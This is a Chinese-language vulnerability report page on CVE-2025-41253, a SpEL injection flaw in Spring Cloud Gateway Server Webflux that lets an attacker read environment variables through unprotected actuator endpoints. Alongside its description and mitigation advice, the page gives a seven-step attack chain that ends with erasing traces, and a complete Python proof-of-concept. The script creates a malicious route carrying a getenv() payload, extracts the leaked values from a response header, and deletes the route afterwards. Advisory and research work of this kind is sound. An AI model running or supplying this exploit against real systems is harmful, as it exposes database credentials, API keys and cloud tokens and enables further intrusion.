IPBUF安全漏洞报告
English
CVE-2025-41253 CVSS 7.5 高危

CVE-2025-41253 Spring Cloud Gateway Server Webflux SpEL注入信息泄露漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-41253
漏洞类型
信息泄露/SpEL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Spring Cloud Gateway Server Webflux

相关标签

CVE-2025-41253Spring Cloud GatewayWebfluxSpEL注入信息泄露VMwareactuator高危漏洞环境变量泄露

漏洞概述

CVE-2025-41253是VMware Spring Cloud Gateway Server Webflux中的一个高危信息泄露漏洞,CVSS评分为7.5。该漏洞允许攻击者通过Spring Expression Language(SpEL)表达式在网关路由配置中访问环境变量和系统属性,从而导致敏感信息泄露。当应用程序同时满足以下条件时存在被利用的风险:1)应用程序使用Spring Cloud Gateway Server Webflux(注意:Spring Cloud Gateway Server WebMVC不受此漏洞影响);2)管理员或不受信任的第三方使用SpEL通过路由访问环境变量或系统属性;3)Spring Cloud Gateway Server Webflux的actuator web端点通过management.endpoints.web.exposure.include=gateway以及management.endpoint.gateway.enabled=true或management.endpoint.gateway.access=unrestricted配置启用;4)actuator端点对攻击者可用;5)actuator端点未受保护。攻击者无需认证即可通过网络远程利用此漏洞,对系统机密性造成高影响,但对完整性和可用性无影响。该漏洞由VMware安全团队发现并报告,披露日期为2025年10月16日。

技术细节

Spring Cloud Gateway Server Webflux的actuator端点提供了动态创建、修改和删除路由的功能。当actuator端点被启用且未受适当保护时,攻击者可以向/gateway/routes端点发送POST请求,创建一个包含恶意SpEL表达式的新路由。SpEL(Spring Expression Language)是一种强大的表达式语言,支持方法调用、属性访问等操作。在Spring Cloud Gateway中,路由的filters字段支持SpEL表达式求值,攻击者可以构造如#{T(java.lang.System).getenv()}或#{T(System).getProperty('user.home')}等表达式来读取服务器的环境变量和系统属性。一旦恶意路由被创建,攻击者可以通过访问该路由对应的路径触发SpEL表达式求值,服务器在响应中返回环境变量或系统属性的值,从而实现信息泄露。攻击者可以利用此漏洞获取数据库凭证、API密钥、云服务访问令牌等敏感信息,为后续攻击奠定基础。该漏洞的根本原因是actuator端点缺乏适当的访问控制和SpEL表达式的安全沙箱机制。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过扫描目标服务器,确认Spring Cloud Gateway Server Webflux的actuator端点(/actuator/gateway)是否暴露且未受保护。
STEP 2
步骤2:构造恶意路由
攻击者构造包含恶意SpEL表达式的路由定义,使用#{T(java.lang.System).getenv()}等表达式来读取服务器环境变量和系统属性。
STEP 3
步骤3:创建恶意路由
攻击者向/actuator/gateway/routes端点发送POST请求,创建包含恶意SpEL表达式的路由。
STEP 4
步骤4:刷新路由配置
攻击者向/actuator/gateway/refresh端点发送POST请求,刷新路由配置使恶意路由生效。
STEP 5
步骤5:触发数据泄露
攻击者访问恶意路由对应的路径,触发SpEL表达式求值,服务器在响应中返回环境变量和系统属性的值。
STEP 6
步骤6:提取敏感信息
攻击者从响应中提取数据库凭证、API密钥、云服务令牌等敏感信息,用于后续攻击。
STEP 7
步骤7:清理痕迹
攻击者删除创建的恶意路由,刷新配置,清理攻击痕迹。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-41253 - Spring Cloud Gateway Server Webflux SpEL Injection Info Disclosure # Exploits actuator endpoint to create a route with malicious SpEL expression # to read environment variables and system properties import requests import json import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target:8080" ROUTES_ENDPOINT = f"{TARGET_URL}/actuator/gateway/routes" REFRESH_ENDPOINT = f"{TARGET_URL}/actuator/gateway/refresh" # Malicious SpEL expression to extract environment variables # #{T(java.lang.System).getenv()} returns all environment variables # #{T(java.lang.System).getProperties()} returns all system properties SPEL_PAYLOAD = "#{T(java.lang.System).getenv()}" # Step 1: Create a malicious route with SpEL expression malicious_route = { "id": "exploit_route", "filters": [ { "name": "AddResponseHeader", "args": { "name": "X-Env-Vars", "value": SPEL_PAYLOAD } } ], "uri": "http://example.org", "predicates": [ "Path=/exploit/**" ] } print(f"[*] Target: {TARGET_URL}") print(f"[*] Step 1: Creating malicious route with SpEL payload...") # Send POST request to create the route response = requests.post( ROUTES_ENDPOINT, headers={"Content-Type": "application/json"}, data=json.dumps(malicious_route), verify=False ) print(f"[*] Route creation response: {response.status_code}") # Step 2: Refresh routes to apply the malicious route print(f"[*] Step 2: Refreshing routes...") refresh_response = requests.post(REFRESH_ENDPOINT, verify=False) print(f"[*] Refresh response: {refresh_response.status_code}") # Step 3: Trigger the malicious route to extract environment variables print(f"[*] Step 3: Triggering malicious route to extract data...") exploit_response = requests.get(f"{TARGET_URL}/exploit/test", verify=False) print(f"[*] Exploit response status: {exploit_response.status_code}") # Extract leaked environment variables from response header if "X-Env-Vars" in exploit_response.headers: print(f"[+] Leaked environment variables:\n{exploit_response.headers['X-Env-Vars']}") else: print("[-] No environment variables found in response headers") print(f"[*] Full response headers:\n{dict(exploit_response.headers)}") # Step 4: Clean up - delete the malicious route print(f"[*] Step 4: Cleaning up - deleting malicious route...") delete_response = requests.delete(f"{ROUTES_ENDPOINT}/exploit_route", verify=False) print(f"[*] Delete response: {delete_response.status_code}") # Refresh after cleanup requests.post(REFRESH_ENDPOINT, verify=False)

影响范围

Spring Cloud Gateway Server Webflux 所有未修复版本

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过配置management.endpoints.web.exposure.include排除gateway端点,或将management.endpoint.gateway.enabled设置为false;2)将management.endpoint.gateway.access设置为restricted;3)为actuator端点添加Spring Security认证和授权;4)通过网络防火墙限制actuator端点的访问来源,仅允许可信IP访问;5)监控/actuator/gateway/routes端点的异常POST请求,及时发现恶意路由创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表